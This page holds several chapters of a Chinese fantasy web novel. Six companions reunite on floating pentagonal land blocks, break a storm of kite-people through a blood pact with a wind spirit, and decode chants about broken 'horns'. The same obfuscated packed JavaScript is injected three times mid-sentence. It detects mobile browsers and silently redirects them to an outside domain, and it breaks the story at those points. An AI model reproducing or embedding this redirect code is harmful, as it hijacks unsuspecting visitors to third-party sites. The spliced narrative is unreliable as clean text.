“?”洛祈手忙脚乱收起行李箱,急急起身,震惊地发现裂缝如闪电般在地面蔓延,眨眼间,周围的地面已千疮百孔。 他拉着行李箱,就近抓住地面上一个高大的白色圣十字。裂缝纵横四布,不断扩大,地面开始崩塌、下陷,巨大的石块相互碰撞、摩擦,扬起漫天的尘土。 蜂鸣般的震荡让洛祈脚底发麻,他咳了两声,捂住口鼻,“到底怎么回事啊?” “各位,”黑牒的声音即时出现,“我检测到你们脚下的岛屿,正在以相似的规律,发生几何裂变。” “什么?”/“几何裂变?”洛祈和其他人都有点懵了。 “这恐怕不是单纯的地震。”黑牒说道,“我已将裂变轨迹投放至目镜上了。” 洛祈打开内置显示器,发现深灰色的地图上,一道道等比裂纹凭空出现,正沿着完美的五边形对角线延展。每个裂解的形状边缘都泛起钴蓝色荧光。 “这是……什么啊。”他再一抬头,混乱中令人惊异的一幕发生了。 原本连为一体的大地,竟真的开始分裂成一个个规则的五边形陆块。这些陆块像是被一双无形的大手切割而成,边缘整齐,微微泛着光。 在洛祈的视野中,之前地面上各处分布的白色圣十字,此时都被割裂在了一块块的陆地中。他紧紧抓着身旁的那个,确保自己在一块完整的陆块上。 “大家注意站在五边形中间!”虽然不清楚其他人的情况,但洛祈直觉,不会有太大差异,“小心别掉下去了!” 当不知第几个五边形陆块分裂、脱离大地主体的时候,深蓝浑浊的海水从裂缝中喷涌而出。 “有人突破了潜镜丘!”忽然,几个星星不约而同说道。 “什么?”众人茫然。 “没错了,这个情况,是潜镜丘被突破了。”许梦扬头顶的星星说。 “哦豁~”许梦扬眼睛一亮,如果上次他们猜得没错,塞勒应该就在那里,“这么牛逼?!可以可……”话音未落就被身侧喷涌出的海水溅了半身。 “……”霜花般的星星沉默片刻,“别高兴得太早了。” 许梦扬:? “的确,”埃文的星星道,“潜镜丘突破是个好消息,说明你们的伙伴应该没事。但同时,恐怕也是个坏消息。” “怎么说?”埃文问。 “潜镜丘突破,巨鲨困兽放出,”索尔的星星回答,“意味着地下的混沌之海得到出口被激活,下一步,就是海水倒灌,进整座岛屿。” “……也就是说?”洛祈恍然,“会淹没我们所有人?” “也就是说……”洛祈头顶,毛茸茸的声音变清脆,“这座岛会提前进入警戒状态,任何危险都可能发生。大家要小心了。” 几个人闻言都心有戚戚,一边为塞勒的突破松了口气,一边又不得不考虑接下来该怎么办。 突然,洛祈脚下的陆块倾斜45度,他眉心一跳,立刻注意目镜显示器,地图上整座岛屿已经被尽数切割。而他们的红点所在的小五边形,此时正缓缓移动起来。 紧接着,随着海水汹涌灌进裂缝,脚下的五边形陆块缓缓脱离了原本的根基,开始在海面上漂浮起来。 看来黑牒的监测和运算速度,会比实际发生略早两三秒。 “我所在的陆块动了。”洛祈说。 海浪拍打着陆块边缘,溅起层层白色的浪沫。陆块像一艘全自动的小型天然航船,被神秘的力量推动着,朝着某个未知的方向移动起来。 “我的也是。” 伙伴们齐刷刷回应,大家的陆块都动了。 “这是要到哪去啊?”许梦扬有些奇怪,“为什么我的陆块在往后走啊?” “往后?”洛祈疑惑地看看面前,“我的陆块是向前走的。” 一时间,大家都发现陆块似乎有自己的方向,但问题是怎么驱动的?洛祈站在自己的陆块上,望着周围不断漂移后撤的陆地,心中满是震撼与疑惑。 “我们的陆块在向左前方行驶。”片刻后,索尔说,“另外,大家可以看一下手上的珠串!Ryan刚对着前行的方向伸出手,意外发现一些特殊状况!” 洛祈立刻看向水晶珠串,此刻他也面朝前行方向,伸出手,水晶珠子正有条不紊齐齐向前方转动。他稍微侧过身,便只剩一些特殊角度的珠子,还在向着行驶的方向转动。 “啊!我的珠子正在倒着转!”许梦扬背身说道,“所以,这个珠子能指向?” “各位,”黑牒忽然道,“请看地图。按照大家当前的行动方向推演,你们的行动轨迹很可能在不久之后交汇。” 犹如火星落入油锅,这句话忽然点燃了众人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954753|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的?”洛祈有些高兴,“那我们很快就能见面了?” “也许,不是这个珠子能指向。”埃文沉思片刻,说道,“而很有可能是我们的陆块正在被水晶珠牵引着重聚。” 埃文身旁,同一个陆块上站着的,还有一位,萨满少女。 少女盯着埃文的水晶珠看了半晌,忽然眼眸一亮,“这是哪来的?” 埃文将来历如实告知。 少女微微颔首,又观察了片刻,笑道,“那你猜得没错,这可不是一般的珠子,确实是它在帮你们指引方向呢。” “真的?”虽然被自己猜中,还是难免好奇,埃文问,“为什么?” “因为做珠串的不是一般人啊。”少女吐了下舌头,压低声音,指了指天,“就算在萨满当中,能做出这种有能量的珠子的人,也是少之又少呢。” 与此同时。另一边,在浮冰碎渣到处都是的海面上,塞勒骑着巨鲨正准备动身,忽然巨鲨一动,调转方向,塞勒抬头看见不远处,一块巨大的浮冰正随着海浪,向她漂来。 塞勒眯眼一瞧,只见巨大的白色浮冰沉沉稳稳似一叶扁舟,上面是几只雪人,雪人中间簇拥着一点红,再一看,不是别人,赫然就是之前见过的小家伙,伊甸! 塞勒一怔,立刻拍拍巨鲨的鱼鳍,迎向前去。 说来也挺逗,潜镜丘崩塌的时候,伊甸还在上面的雪丘上被雪人围观呢。底下这么轰隆隆一震,冰墙冰面惊天动地四分五裂……雪人们也快裂开了。 唯一好的一点大概就是,雪人们也不是第一次见这种场面了。它们还是一蹦一跳地从上到下,从雪丘到冰面寻找逃生之路。顺便也就捎带上了伊甸。 伊甸现在胆子也是大了,毕竟还小,好奇心重,一路上翻滚漂流不但不怕还咯咯直笑,满眼都是新奇。 浮冰靠近巨鲨,塞勒向伊甸伸出双手,“伊甸,你怎么在这里呀?” 伊甸似乎已经习惯了,伸出手向塞勒要抱抱。 塞勒接过伊甸,把她抱上鲨鱼背,转头对几只雪人说了句谢谢。雪人们在浮冰上原地跳了跳,像是很高兴,在对着两人告别。 随后转过身,向着来时的方向,排成一列,一头一尾的雪人一蹦一跳,浮冰就如同竹筏一般,摆头摆尾地划走了。 塞勒看着它们胖乎乎的背影,不由笑了声。刚回神,就看见伊甸睁着大眼睛,对自己伸出了一只小拳头。 塞勒:? 伊甸伸出另一只手,指了指小拳头下的手腕,“在动。”她小声道。 一时间,塞勒竟说不清是那串小号的水晶珠子动了让她惊讶,还是伊甸说话更让她惊讶了。 “你会,”塞勒凑近伊甸,颇感神奇,“你能说话啦?” 伊甸点头咯咯笑了下。 “好神奇……”塞勒喃喃笑了,摸了摸伊甸的头,“好乖。”便拉着她的手腕和自己手腕上的水晶珠子一对比,果然都在转。 塞勒对着太阳,左看右看,搞不太懂。 伊甸像个小机器人似的,一会儿胳膊朝这个方向,一会儿胳膊朝那个方向,声音稚嫩,“这边在动!”“那边不动了!” 这一下倒是让塞勒看出点什么了。 她也将珠串朝各个方向都试了一下,最后确定水晶珠子无论在哪个角度,其实转动的方向都是一致的。 那这意思就很明确了。虽然有点匪夷所思,但想想当时那个神秘的柯里丝·科妮,塞勒还是决定,试试往那个方向走吧,谁知道呢?反正她现在背包也不知所踪,身无一物,不妨就把它当成“指南针”吧。 “好吧!”塞勒轻轻拍了下鲨鱼鳍,调转方向,对伊甸说,“那我们就走咯!” 伊甸两只手臂向前,握着小拳头,灿阳映在她晶亮瞳底,“出发!” 47.真相端倪 虚拟地图上,五个闪烁的红点正在向着彼此逐步靠近。 埃文望着前方一望无际的海面,依旧神态严肃,愁眉不展。 萨满少女吹着风,看他一眼,问,“还在担心你妹妹?” “我实在……没办法不担心伊甸。”埃文坦诚地说,“虽然你说她不会有事。” 萨满少女微微点了点头,意思是可以理解。但随后,她沉思片刻,又说,“我说她不会有事,并非是信口之言。你想想看,我们脚下的陆块现在被水晶珠牵引着彼此靠近,正说明在这个时空有一股力量,在帮助我们。” 这个看法,其实与埃文之前说的——“当我们进入这个世界,就已经在被观察了”的观点殊途同归。 “其实来到这个岛上,”萨满少女摸了摸身旁梅花鹿的脑袋,“我就一直在想一个问题,这整个空间,对待外部的‘来访者’,到底是善意的,还是恶意的?” 这个说法其实很感性。也很灵性。好像这个世界有自己的自我意识。 通常来讲,埃文是很理科的思维。但此时此刻,他却也不由自主地跟着这个思路思考起来。 “如果我们真的是被观察的人,”埃文沉吟,“那或许说明,在这个时空,有一些更高维度的存在?” “很有可能啊。”萨满少女道,“你想想看之前在荆棘地的遭遇。” 埃文回想起来,虽然在荆棘地中,他被刮擦得遍体鳞伤。但意外发现的那些孩子,还有那些玻璃体的小动物们……却是实打实地被治愈了累累伤痕。 至少从这一点来看,算是件好事。 “我一直在想,”萨满少女眉间微蹙,“那些孩子和幼崽们身上的伤痕、他们受到的伤害都是从生长环境来的。那么,他们出现在这里,是否是一件好事呢?” 二人想法再次不谋而合,埃文道,“确实。” 毕竟那些孩子和幼崽们在消失前,那种由衷的笑意,眼中的光亮并不像骗人的。 “哦对了!”萨满少女像是忽然想起了什么,“还有那22个物件凭空出现、孩子们开始显出人形的时候……你记不记得,当时整个天地之间,都响起了一种声势浩大的旋律和哼鸣?” 这话引起了埃文的注意,毕竟从洛祈那里听他说过很多次。 埃文点点头,回忆道,“我是听到过,像是谁在低唱着什么,但没听懂那是什么意思,你有头绪?” “我听懂了。”萨满少女沉吟,“当时的那段哼鸣,翻来覆去只有一句……说的是,第五只尖角被折碎,暴风雨就要降临。” 埃文一惊,“这……什么意思?” 萨满少女思索片刻,摇摇头,“我也一直在想,但我总觉得信息不够完整,所以也没得出什么结论。” “那我把这个信息跟他们对齐一下。”埃文点头道,“看看他们有没有头绪。” 埃文将整个发现,原原本本地传达给了另外几位伙伴。许梦扬、索尔、阮廷榭先后表示没有听见过哼鸣声,对这个信息很难有什么头绪。 但洛祈却忽然眼前一亮,急问,“那位萨满少女可以听懂哼鸣声?” “嗯,”埃文道,“应该是的。” “太好了!”洛祈说。他想起之前在遭遇移形雾后,黑牒说过有把当时出现的哼鸣声记录下来。这就意味着可以请萨满少女来听听意思! “怎么了?”埃文问。 “麻烦了黑牒,”洛祈道,“可以把之前录制的哼鸣声调出来吗?” “好的,洛祈。”黑牒道,“当然没问题。” “是这样,埃文。如果可以的话,”洛祈回答,“我之前物灵配对的时候,也响起过一阵哼鸣,但当时没有听懂,可以请萨满少女帮忙听一下吗?” 片刻后埃文回答:“可以。我把头盔给她。” 萨满少女接过头盔,刚戴上,头盔边缘的光带就亮起,换成了橘黄色,闪烁一圈后,黑牒的声音出现,“你好。” “你好。”萨满少女笑笑,“我准备好了。” “好的。”黑牒道。随即,少女的耳边开始原原本本地播放了当时洛祈在银树开花时听见的旋律与哼鸣。传感效果很好,近乎身临其境。 萨满少女专注地听着,这段旋律虽然整体和之前那段不甚相同,但节奏却一致。似乎也是只有一句,吟唱完便再次重复起来。 播放结束,少女沉思片刻,说道,“刚刚这段哼鸣声也只有一句话……说的是,第四只尖角被折碎,”她顿了顿,“星星开始熄灭了。” 顿时,耳机内陷入了几秒的缄默。 无独有偶。如果说第一句话的意思莫名其妙,那这句话被翻译出来,另一头的伙伴们就不得不注意其中的关联了。 第五只尖角被折碎,暴风雨就要降临。 第四只尖角被折碎,星星开始熄灭了。 按这样推算下去,洛祈不由开始想,那会不会还有第三只、第二只、第一只呢?再往上呢?会有第六第七那些吗? 但他很快就推翻了后一种想法,因为“暴风雨降临”这句话,其实恰好跟他之前的物灵感应对上了。那些孩子失踪前,物件上都出现过类似“暴风雨”的痕迹。 很有可能一切的失踪,就止于“暴风雨”了。 照这样看来,那确实很像超自然的力量所为。 洛祈想起之前与黑牒的对话,当时黑牒说,如果这几个片段是从某个整体当中截取的一部分,那么,它们会不会代表了不同进度的涵义? 所以接下来如何排序并解读就变得至关重要。 这两句话的含义可以有很多延伸,一时间所有人都思考起来。许梦扬想的是,这也许不是一场跨国犯罪案件——之前探讨的那些拐卖儿童的人贩子或许也只是谜团的一环。 索尔想的则是,阮廷榭的星星被夺走,外加他听不到星星的声音,是否跟这两句话有关系?是否还有未曾揭露的? “尖角?”萨满少女将头盔还给埃文,二人对视片刻,她问,“你在想什么?” “我其实在想,”埃文思忖道,“如果,假设这是一首童谣,那么这首童谣的主体是谁?” 萨满少女眼珠一转,并未多言但显然有了想法,“也许我们就快靠近真相了。” 蓦地,陆块像是受到了某种更强力的召唤,开始加速在海面上疾驰起来,船头一般的前端劈开海水,激起一道道白色的水花。 “抓稳了。”埃文道。 话音刚落,他就听见耳机内传来许梦扬的呼喊,“我看到你们了!” 这句话出口,几人纷纷抬头四顾,果然发现大家都从四面八方先后逐个出现了。 洛祈伸出双臂挥了挥,对再次见面颇感高兴。 距离越来越近,洛祈看见许梦扬的陆块上,有一棵高大的橡树,他正坐在橡树枝桠,手里拿着一个单筒望远镜,也对他挥挥手臂打招呼。 另外两个陆块一个从东边来,一个从西边来,虽然稍大些,但也是五边形。陆块上都是两个人,索尔与阮廷榭,埃文与萨满少女,还有一只梅花鹿。 “终于再次见面啦!” 许梦扬轻巧地跳下树,等待陆块近乎相邻触碰,迫不及待跟几人碰了下拳。又一步跨到索尔他们的陆块上,观察了一下阮廷榭苍白的脸色,见阮廷榭对他浅浅笑了,才皱眉道,“太不容易了。” 六个人重聚在重新嵌合的陆块上,虽然早有心理准备,但埃文还是东张西望,为没看见伊甸感到失落。 许梦扬这个超级e人则恨不得抓住每个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958346|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确认一番,洛祈忍俊不禁,总觉得他很像个领队。 可是忽然,许梦扬的声音戛然而止。洛祈看向他,发现他正一脸难以置信的震惊表情,望向自己身后。 洛祈一转身,变成了同款震惊脸。 身后哪还有什么大海? 不知何时出现的一大片陆地上,一个个近乎顶天的巨人正不断膨胀,步步逼近。 “……那是什么啊?”许梦扬简直匪夷所思,“人吗?” 其他几人下意识回头,都是瞳孔骤缩,茫然摇头。 但是洛祈知道。 他稳了稳语气,“不知道算不算人,但我见过,他们就是我之前跟你说的,气球一样的人。” “原来你遇见的就是这些人啊。”许梦扬道。 “如你所见,”洛祈说,“这些气球人的身体会像充气一样膨胀,但我之前见到的其实也会缩小。只是我不太清楚,他们的充气原理。” 眼前这些气球人一个赛一个鼓胀,身体紧绷得如同即将炸开的皮球,表面的纹理清晰可见。他们的五官模糊不清,只有两颗硕大的黑色眼瞳,散发着冰冷又充满敌意的恫吓,直勾勾地盯着他们。 前方,左边,右边,三块莫名其妙出现的陆地上,一排气球人足足有二三十个。 每一个气球人的动作都带着一种迟缓却又极具压迫感的节奏,他们居高临下,一步步向着几人逼近,周围的空气都变得凝固。 几人的陆块和那些气球人所在的三块陆地隔了不远不近的海。许梦扬刚想说,不然就往后划吧,却听见索尔大喊一句,“你们看后面!” 转过头,后面也不知哪里冒出来的两块陆地。再仔细看,上面正有一些模糊的影子在走动。 这下轮到埃文震惊了。 “那又是什么啊……鬼影吗?”许梦扬试探道,“我们能过去吗?” “绝对不行!”埃文立刻喊起来,“那些人我见过,他们是玻璃人的虚影!如果不小心碰到,就会立刻变成玻璃实体破碎,然后对大家发动攻击,非常危险!” 其他人:! 在埃文眼里,那两块陆地上的轮廓虚影,比之前他见到的多得多。密密麻麻的模糊轮廓确实如鬼影般飘忽,诡异地来回走动。 虚影轮廓不计其数,身形瘦弱纤薄,若隐若现,每一步都像是在空气中滑行,不带一丝声响。透过它们透明的身躯,能看到背后的景物都微微扭曲。 那些玻璃人虽然瘦小,虽然无声无息,但实在太多太密集了,只有埃文知道,它们正散发着令人胆寒的无声震慑。 一前一后全被堵死,还没等许梦扬说出“那怎么办!”,头顶就突兀地暗下来,一抬头,这次轮到他自己震惊了。 尖锐的呼啸风声划破死寂的空气,原本清朗的天空,瞬息之间被大片阴影笼罩。 洛祈惊惶不已,“那是什么啊?” 许梦扬眯起眼,确认无疑。终于轮到他给各位答疑解惑,“那群正在天上飞的,是我之前见过的风筝一样的人。” 说是见过,但又跟之前截然不同。 之前他只见过一个,印象中风筝人就是既神金又不靠谱,但并没有很强的攻击性。至于现在,许梦扬看着上空风筝人群集而来,乌压压如蝗虫过境,遮天蔽日。有没有攻击性……可能得另说了。 那群风筝人飞行的姿态疯狂又混乱,尾巴如同一条条扭动的黑色长蛇,在空气中肆意摆动。 它们越逼越近,强大的气流呼啸,在场的六人紧紧搀住但依旧站立不稳。头发被风吹得肆意乱飞,眼睛都无法完全睁开。 “这到底是怎么回事啊?”洛祈加大音量问。 “不清楚!”许梦扬也大声回复,“但有一点很明显!我们被包围了!” 48.风暴之眼 狂风呼啸。 风筝人似黑云压顶群集而至,卷起飞沙走石。 零星阳光卡在风筝人阵列的齿缝间,尖锐骨架和无数蒙面相叠,犹如紧密编织的一面大网,将狂乱剧烈的气流漩涡按压向下。 洛祈和伙伴们在剧风中艰难支撑,身形摇摇欲坠,感觉下一秒就会被这暴虐的风卷上高空,摔得粉碎。 “都别松手!”许梦扬大声喊道。他双臂用力牙关紧咬,死死拉住身旁的同伴。想不通这些风筝人到底什么情况,“我之前见到的风筝人……不是这样的啊!” “没错。”许梦扬头顶的星星道,“单个的风筝人大多都是那样,或沉于虚幻,或执于妄念。空想,就是他们的浮力来源。” “这样吗?”许梦扬想想之前的风筝人,“怪不得……” “但是,当许多风筝人群集起来,”星星冰凉道,“巨大的幻想,就会导致强烈的控制。因此当所有风筝人一起扇动,对于风力的整体掌控就会大幅增强,从而形成无与伦比的的虚空风暴。” “也就是说……”许梦扬若有所悟,“只要打破他们的‘整体’,让风筝人进入落单状态,就能解?” 话音刚落,高空忽然传来裂帛声,紧接着斑驳光影闪动,许梦扬猝不及防感到当胸一记闷锤,“啊”一声跪倒了下去。 “怎么了?!”洛祈一惊,连忙去扶,但还没等他说出更多,身边的伙伴们便噗通噗通、接二连三跌倒在地。 洛祈惊诧不已,“怎么回事啊?” 一时之间除了他所有人都倒下了。 “洛祈。”黑牒的声音响起,“我检测到一阵持续的次声波频率,正在传播。” “次声波?”洛祈想起上一次听到这词还是在他们上岛之前,那次也是只有他没中招,不禁疑惑,“为什么会有次声波呢?” 他抬起头,听见黑牒说,“初步判断应该是上空风筝人组成了蜂群阵列,翅膜震动引发次声波共振。” “这……”洛祈勉力站着,焦灼地望向上空密布的风筝人,被狂风吹乱的头发不时遮挡住他的视线。他心知这情况十分凶险。 黑牒说过,只要不长期暴露在高强度次声波环境中,就能避免脏器破裂等危及生命的情况。 可上次的次声波只出现了一会儿,许梦扬和埃文就产生了不小反应……而这次是由风筝人引起的,不到破解,绝对不会停下。 洛祈扫视一圈,除了萨满少女靠在梅花鹿身边眉头轻拧,其他几个看起来都很不好,尤其是脸色苍白的阮廷榭,双目紧闭胸膛起伏,正大口喘着气。 他们没有那么多时间。 “洛祈,”黑牒道,“现在,也许只能靠你了。我会尽我所能为你提供帮助。” “我知道。”洛祈说。 但说是那么说,洛祈其实举步维艰。衣衫猎猎作响,在这诡谲天地间,他渺小得如同尘埃。 怎么办?怎么办? 一定有什么是他能做的…… 风。 他能拿风怎么办? 蓦地洛祈心中一动,他闭上眼睛,伸出双手,集中精神将物灵感知能力延伸到周围的风中。 拜托,拜托…… 他口中无声喃喃。 起初,他只能感受到风的狂暴与无序,俨然像一头失去理智的猛兽。 但随即,他感觉到那狂暴中似乎也有规律。像是里外里好几层不同方向的漩涡。那些剧烈气旋,应该就是风筝人制造出来的。 再然后……随着探索不断深入,他竟察觉到风中隐藏着微弱的物灵气息!这些物灵如同风中精灵,在狂风的裹挟下艰难生存。 洛祈猝然睁眼,一时有些不可思议。那些物灵发出的气息更像是一种隐隐的怒气。这是他第一次感受到物灵的情绪!如果硬要形容的话,最接近的感觉,大概就是犬类被压制时,从鼻腔中发出的低声警示。 那是什么? 洛祈疑惑着再次闭眼,伸出双手,却再一次感知到一股隐秘的物灵波动,正在对抗着什么。 “奇怪,”洛祈看着自己的双手,“是我的错觉吗……” “当然不是,小祈。”洛祈头顶,毛茸茸的声音道,“你该相信自己的感觉。” “星星?”洛祈一惊,“你知道那是什么?” “当然,小祈。”星星正色道,“这世间的山川湖泊、雷云风雨、花草大地,万物有灵。而你本身就是罗盘,所以该相信自己的直觉。” “所以说……”洛祈轻声确认,“那真的是风的物灵?” “是的。”星星说,“那是被压制的物灵。风筝人的力量来源于风,但也受限于风。如果你能够帮它摆脱压制,就能破局。” “原来是这样……”洛祈恍然,“怪不得我总觉得有种愤怒的气息。可它为什么会被风筝人所压制呢?” “因为虚空风暴属于人为强制引发的风暴。”星星道,“当风筝人编织出层层的气旋网络,瞬间的爆发力就有可能将它困在某个地方。” “那我,”洛祈有些茫然,“我应该怎么做呢?一直以来,我只能够感应到,似乎也做不了什么……” “那是因为,你还没有跟物灵建立过契约。” “契约?”洛祈还是第一次听说。 “是的。”星星顿了顿,“你是我陪伴着长大的。我很清楚,你与物灵之间存在天然的灵性共鸣。但那只属于感知层面。要想真的能做点什么,比如引导、操控、或者借助物灵的力量,都需要建立契约。” “那……”洛祈急忙求解,“要怎么做呢?” “学会臣服。”星星道,“物灵师与物灵的契约,可以分为初级、中级、高级。而臣服是建立契约的前提。第一步就是放下抵抗,完完全全把自己交给物灵。” 这说法乍听之下太抽象了。 洛祈眼珠一转,像是突然想起什么,“哦对!建立契约是不是需要我的血啊?我记得福利院的弟弟妹妹……好像看过那种小说?” 说完,洛祈毫不犹豫把手伸到索尔面前,“索尔,你用刀划一道。” “……”毛茸茸的声音显然沉默了,少顷无奈道,“倒是也不必做到那个程度。真正的物灵不会严苛要求这个。” “是吗?” “当然。”星星道,“我说过,万物有灵。只要你足够虔诚,想要与它缔结契约。它就一定能感知到。因为,当你在感知物灵的时候,其实物灵也在感知你。” 足够虔诚…… 怎么证明自己足够虔诚? 光说或祈祷就够了吗? 坦白讲,洛祈感觉好像还真没什么比血祭更虔诚了。来不及犹豫,洛祈再次把手伸到索尔面前,以防万一,“还是给我来一刀吧。” 星星:…… 索尔额前已经出了层细密的汗,略显迟疑,“你确定?” “嗯。”洛祈坚定一点头,“没事,来吧。” 索尔垂眸拿出折刀,只轻巧一碰,洛祈右手心麻胀片刻,随即便刺痛起来,冒出细密血珠。 顾不上疼,洛祈将右手朝上举起,越举越高。 他闭上眼,似祈祷一般真诚默念。 我,洛祈。 以血为诚。 在这一刻,完全臣服。 我会帮助你摆脱困境。 没有丝毫抵抗,请与我缔结契约。 一颗一颗浑圆的血珠从掌心的刀痕中溢出,却没有顺手臂流下,而是随风裹挟进了气流中。 下一刻,洛祈忽然感觉身体一轻,双脚即刻离地。他的整个身躯不由自主地被抛向了高空。 “洛祈!”许梦扬抬手想拉,仍然满眼担忧。 洛祈已经被卷进了多重气旋当中。感觉自己顺着螺旋轨道一下正转,一下反转,晕头转向。风隙间不断迸发出呜咽般的啸叫。但即使如此,他也时刻提醒自己,不要抵抗,做到臣服。 随后那些气旋带着他不断向上,依靠着风的力量,洛祈几乎毫无阻碍地挤出了风筝人紧密陈列的罩顶。 霎时,天空大片阳光洒在他身上。 风筝人群之上的气流虽然还在旋转,但强度已经明显小了。原本混乱无序的风势也出现了微妙的变化。至少够他在上面站稳。 就在这时,他忽然看见乌压压的风筝人阵列中,有那么一个地方,正一下一下往上冲起来。就像一壶刚烧开的水,壶盖被蒸汽不断地冲顶起来那样。 找到了?! 洛祈连忙跑过去,脚下如踩云端,距离越近,便感到风力越小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976543|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最终完全平息。 “这里是……”洛祈确定了,“风暴之眼。” 果然没错。 是它带自己找到了位置。 “谢谢你,”洛祈无比诚恳,“愿意和我建立契约。” 顿时,那一小片风筝人被再次冲起。虽然不至于掀翻,但洛祈察觉到物灵的回应,心中涌起一丝希望。 “稍等!” 风筝人重叠压制,洛祈顾不得手上的伤,立刻拉住最外层那个用力一拉。鲜血顿时沿虎口渗出。但没想到风筝人似乎有种奇大无比的向心力,一时竟拉拽不动! 洛祈松开手,吹了吹两个手心。微凉的风缓解一丝疼痛,随后他再次伸出双手,一前一后,紧紧握住风筝人巨大的骨架和线轴,身体后倾,犹如展开一场拔河。 那道横贯掌心的伤痕此刻鲜血迸溅,风筝人的骨架不断弯曲,“给我——”洛祈用尽全身力气,猛地一拽,“出来!” 只听“咔嚓”一声崩响,骨架应声断裂。那风筝人被强行拖离了风暴中心。 刹那间,一道冲天气旋从风暴之眼遽然喷出!如同一条终于挣脱枷锁的巨龙,带着无尽的力量与愤怒。 几乎同时,一圈逆转气流从风暴核心似波浪一般向外滚射。瞬间掀飞了刚刚还鳞次栉比的风筝人阵列。 风的力量在这一刻全面回归。 滚滚气浪以排山倒海之势,不断由内而外汹涌扩散。 那些原本层层压制的风筝人集群如同被打破的缜密棋局,牵一发动全身,在这股强大的力量面前,变成了脆弱的纸糊玩偶,不堪一击。 持续不断的次声波骤停,所有人都松了口气。许梦扬吃力地捂着胸口坐起,看见那些风筝人失去了对风的控制,顿时又陷入东摇西摆的飘浮状态。 “洛祈!”他惊叫起来。 洛祈自然也被这气浪掀飞了出去。 在空中犹如断了线的风筝般翻滚,就在洛祈以为自己会狠狠摔落时,忽然一缕柔和的气流,接住了他。 那股气流像一叶隐形小舟,托着他,缓缓地安稳落了地。 “没事吧?”缓过来的许梦扬赶紧迎了过去。 “没事。”洛祈笑笑,望着逐渐恢复清明的天空,心中满是劫后余生的庆幸和真诚的感激。 “辛苦了,洛。”埃文起身走来。 萨满少女在他身后微笑看向洛祈,似乎对刚刚发生的一切饶有兴趣。 “多亏有你。”索尔拍拍他肩膀,“厉害!” “没有啦。”洛祈有些不好意思,摆了摆手。 随后阮廷榭也站起来,拉住洛祈,打开医用包给他的手做了基本的止血和包扎。 正在此时,洛祈忽然听到有什么哐嘡的闷响。他一转头,发现那声音是从自己的行李箱内传出来的。整个行李箱一颠一颠,好像里面装了活物似的。 他连忙跑过去,却没想到,行李箱一打开,巨大的哼鸣声随即降临,顿时响彻了整个天际。 萨满少女倏然望向天空。一边专注听声,仔细辨别着;一边看见漫天凌乱飞舞的风筝人当中,正逐渐有一些从四面八方区分出来,开始不断向他们这边靠近。 那是一些小型的风筝人,像是被什么吸引而来。 而洛祈惊讶的则是行李箱里,那最后24个未曾发生过反应的物件。没了箱盖的阻挡,此刻正慢慢飘浮起来,飘过眼前,飘过头顶,然后一点点升向高空。 小型风筝人越靠越近。 物件越飘越高。 终于,它们一一对齐。 一根根黑色的提线接触到物件,立马如同磁铁相吸,瞬间捆绑。 最后,仿佛24个小型的热气球终于燃尽,随之落了下来。 奇异的是,明明那些物件那样轻,却能轻易地将那24个飘浮的风筝人,一点一点拉回地面。 所有人仰头目不转睛,都被这个画面惊呆了。 当24个小风筝人落到地面,哼鸣声戛然而止。 萨满少女低下了头。 洛祈连忙走过去,对这次的哼鸣非常好奇,“有收获吗?” “嗯。”少女点头看向洛祈,若有所思,“这次也只有一句,说的是……第一只尖角被折碎,虚实真假难分辨。” 49.溯源蹊跷 风在洛祈和伙伴们身边形成了一层隐形屏障。 他们看见外面气球人庞大的身躯对这边进攻,又被反弹。 而屏障内。 虽然说小型的风筝人落到了地面,但准确来讲,应该是那些物件落了地。 风筝人的状态,其实还是悬浮的。 只是长长的黑色提线被那24个物件牢牢捆拽着,无法飘上天,所以他们看起来很像一只只摇摆着的风筝玩偶。 洛祈观察那24个风筝人,整体而言,分明是孩子的样貌。可奇怪的是,那些人偶似是还没激活般,每个人的眼神都直愣愣的。 更奇怪的是每个人都很机械化地,各自在做着一些不断重复的动作。 一刻不停。 “你说,”他问萨满少女,“刚才这句话传达的,‘虚实真假难分辨’,有没有可能是在概括这些孩子的状态?” 他看向距离他们最近的那个孩子。 那个风筝人双臂弯曲,置于胸前,两手相对,虚虚握着。然而他双手的拇指却在不断点按——那很明显是无意识的一个动作。 洛祈目光向下,看见地下捆住他的那个物件,恰好是一个游戏手柄。 “很有可能。”萨满少女沉吟道。 她走过去,蹲下身观察那个手柄。柄身已经非常老旧了,大小不是成人尺寸。而根据手柄上其他按键来看,上面原本应该是有提示字的。萨满少女对着手柄比了一下握姿,左右两个最常用拇指按键的提示字,已经完全被磨掉了。 不难想象这个游戏手柄经年累月的使用情况。 